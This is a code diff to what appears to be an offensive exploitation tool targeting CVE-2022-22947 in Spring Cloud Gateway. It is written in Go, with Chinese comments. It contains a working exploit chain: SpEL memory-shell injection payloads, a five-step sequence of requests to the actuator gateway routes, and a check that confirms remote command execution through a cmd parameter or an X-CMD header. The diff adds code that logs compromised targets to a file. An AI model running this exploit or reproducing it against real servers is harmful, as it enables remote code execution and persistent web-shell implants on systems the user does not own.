@@ -23,8 +23,8 @@ const memshell1 = "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(
23
23
24
24
type CVE202222947 struct {}
25
25
26
- func (CVE202222947 ) SendPoc (url string , hashmap map [string ]interface {}) {
27
- log .Debugf ("github.com/SummerSec/SpringExploit/cmd/commons/poc/CVE202222947.SendPoc url:%s" , url )
26
+ func (p CVE202222947 ) SendPoc (target string , hashmap map [string ]interface {}) {
27
+ log .Debugf ("github.com/SummerSec/SpringExploit/cmd/commons/poc/CVE202222947.SendPoc url:%s" , target )
28
28
//TODO implement me
29
29
NettyMemshell := fmt .Sprintf (memshell , mem )
30
30
SpringRequestMappingMemshell := fmt .Sprintf (memshell1 , mem1 )
@@ -33,7 +33,11 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
33
33
log .Debugf ("[+] Running default poc" )
34
34
reqinfo := NewReqInfo ()
35
35
reqmap := structs .Map (reqinfo )
36
- reqmap ["url" ] = url
36
+ // 解析target
37
+ //t, _ := url.Parse(target)
38
+ //target = t.Scheme + "://" + t.Host + "/"
39
+
40
+ reqmap ["url" ] = target
37
41
reqmap ["method" ] = "POST"
38
42
// 默认随机UA 不需要设置
39
43
reqmap ["headers" ] = map [string ]string {
@@ -55,30 +59,30 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
55
59
for true {
56
60
57
61
// 第一次请求
58
- t := url + "actuator/gateway/routes/" + id
62
+ t := target + "actuator/gateway/routes/" + id
59
63
reqmap ["url" ] = t
60
64
utils .Send (reqmap )
61
65
// 第二次请求
62
- t = url + "actuator/gateway/refresh"
66
+ t = target + "actuator/gateway/refresh"
63
67
reqmap ["url" ] = t
64
68
reqmap ["body" ] = ""
65
69
66
70
utils .Send (reqmap )
67
71
// 第三次请求
68
- t = url + "actuator/gateway/routes/" + id
72
+ t = target + "actuator/gateway/routes/" + id
69
73
reqmap ["url" ] = t
70
74
reqmap ["method" ] = "GET"
71
75
resp := utils .Send (reqmap )
72
76
// 第四次请求
73
77
reqmap ["method" ] = "DELETE"
74
78
utils .Send (reqmap )
75
79
// 第五次请求
76
- t = url + "actuator/gateway/refresh"
80
+ t = target + "actuator/gateway/refresh"
77
81
reqmap ["url" ] = t
78
82
reqmap ["method" ] = "POST"
79
83
utils .Send (reqmap )
80
84
81
- if checkExp (resp , url ) {
85
+ if p . checkExp (resp , target , hashmap [ "Out" ].( string ) ) {
82
86
log .Info ("[+] Successful exploitation CVE-2020-222947" )
83
87
break
84
88
} else {
@@ -96,30 +100,34 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
96
100
97
101
func (CVE202222947 ) init () {
98
102
//TODO implement me
99
-
100
103
log .Debugf ("CVE-2022-22947 init" )
101
104
102
105
}
103
106
104
- func checkExp (resp * req.Response , url string ) bool {
107
+ // 检查是否成功
108
+ func (p CVE202222947 ) checkExp (resp * req.Response , url string , file string ) bool {
105
109
106
110
log .Debugln ("github.com/SpringExploit/cmd/commons/poc/CVE-2020-222947 checkExp" )
107
- res , _ := resp .ToString ()
111
+ res := resp .Dump ()
108
112
log .Debugf ("[+] res:%s" , res )
109
113
if strings .Contains (res , "route_id" ) {
110
- url := url
111
114
re , _ := req .R ().SetQueryString ("cmd=echo route_id" ).SetHeader ("X-CMD" , "echo route_id" ).Send ("GET" , url )
112
- res2 , _ := re .ToString ()
115
+ res2 := re .String ()
113
116
log .Debugf ("[+] res2:%s" , res2 )
114
117
if strings .Contains (res2 , "route_id" ) {
115
- log .Info ("[+] Successful exploitation CVE-2020-222947" )
116
118
log .Debugln ("[+] Result: " + re .String ())
117
- log .Info ("[*] 漏洞利用验证成功! " )
119
+ log .Info ("[+] Successful exploitation CVE-2020-222947 " )
118
120
log .Info ("[*] 请手动验证是否漏洞利用成功!" )
119
- log . Info ( "[*]: url: " + url + "/?cmd=echo Result or add header X-CMD: echo Restult" )
121
+ p . saveResult ( url , file )
120
122
return true
121
123
}
122
124
return true
123
125
}
124
126
return false
125
127
}
128
+
129
+ func (CVE202222947 ) saveResult (target , file string ) {
130
+ context := target + " Successful exploitation CVE-2020-222947 " + target + "/?cmd=echo Result or add header X-CMD: echo Result"
131
+ log .Info ("[*]: url: " + target + "/?cmd=echo Result or add header X-CMD: echo Result" )
132
+ utils .SaveToFile (context , file )
133
+ }
0 commit comments